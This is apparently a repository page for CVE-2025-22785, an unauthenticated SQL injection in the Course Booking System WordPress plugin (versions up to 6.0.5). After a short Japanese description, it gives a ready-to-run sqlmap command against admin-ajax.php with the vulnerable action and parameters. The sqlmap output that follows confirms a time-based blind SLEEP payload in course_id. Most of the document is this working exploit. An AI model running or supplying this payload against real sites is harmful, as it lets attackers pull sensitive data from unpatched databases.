randomrobbiebf/cve-2025-22785Course Booking System <= 6.0.5 - 認証不要のSQLインジェクション
Course Booking System <= 6.0.5 - 認証なしSQLインジェクション
WordPress用プラグインCourse Booking Systemは、バージョン6.0.5以前において、ユーザーが指定するパラメータに対するエスケープ処理が不十分であり、既存のSQLクエリの準備が十分に行われていないため、SQLインジェクションの脆弱性があります。これにより、認証されていない攻撃者は、既存のクエリに追加のSQLクエリを追加し、データベースから機密情報を抽出するために使用できます。
sqlmap.py -u 'http://kubernetes.docker.internal:8929/wp-admin/admin-ajax.php' --data='action=cbs_action_booking_delete&booking_id=1&course_id=1&date=2023-10-27&user_id=1' --level=2 --dbms='MySQL '
___
__H__
___ ___[( )]_____ ___ ___ {1.9.1.2#dev}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 10:20:46 /2025-01-23/
[10:20:46] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: course_id (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: action=cbs_action_booking_delete&booking_id=1&course_id=1 AND (SELECT 4965 FROM (SELECT(SLEEP(5)))GYWH)&date=2023-10-27&user_id=1
---
[10:20:46] [INFO] testing MySQL
[10:20:46] [INFO] confirming MySQL
[10:20:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP 8.2.21, Apache 2.4.59
back-end DBMS: MySQL >= 5.0.0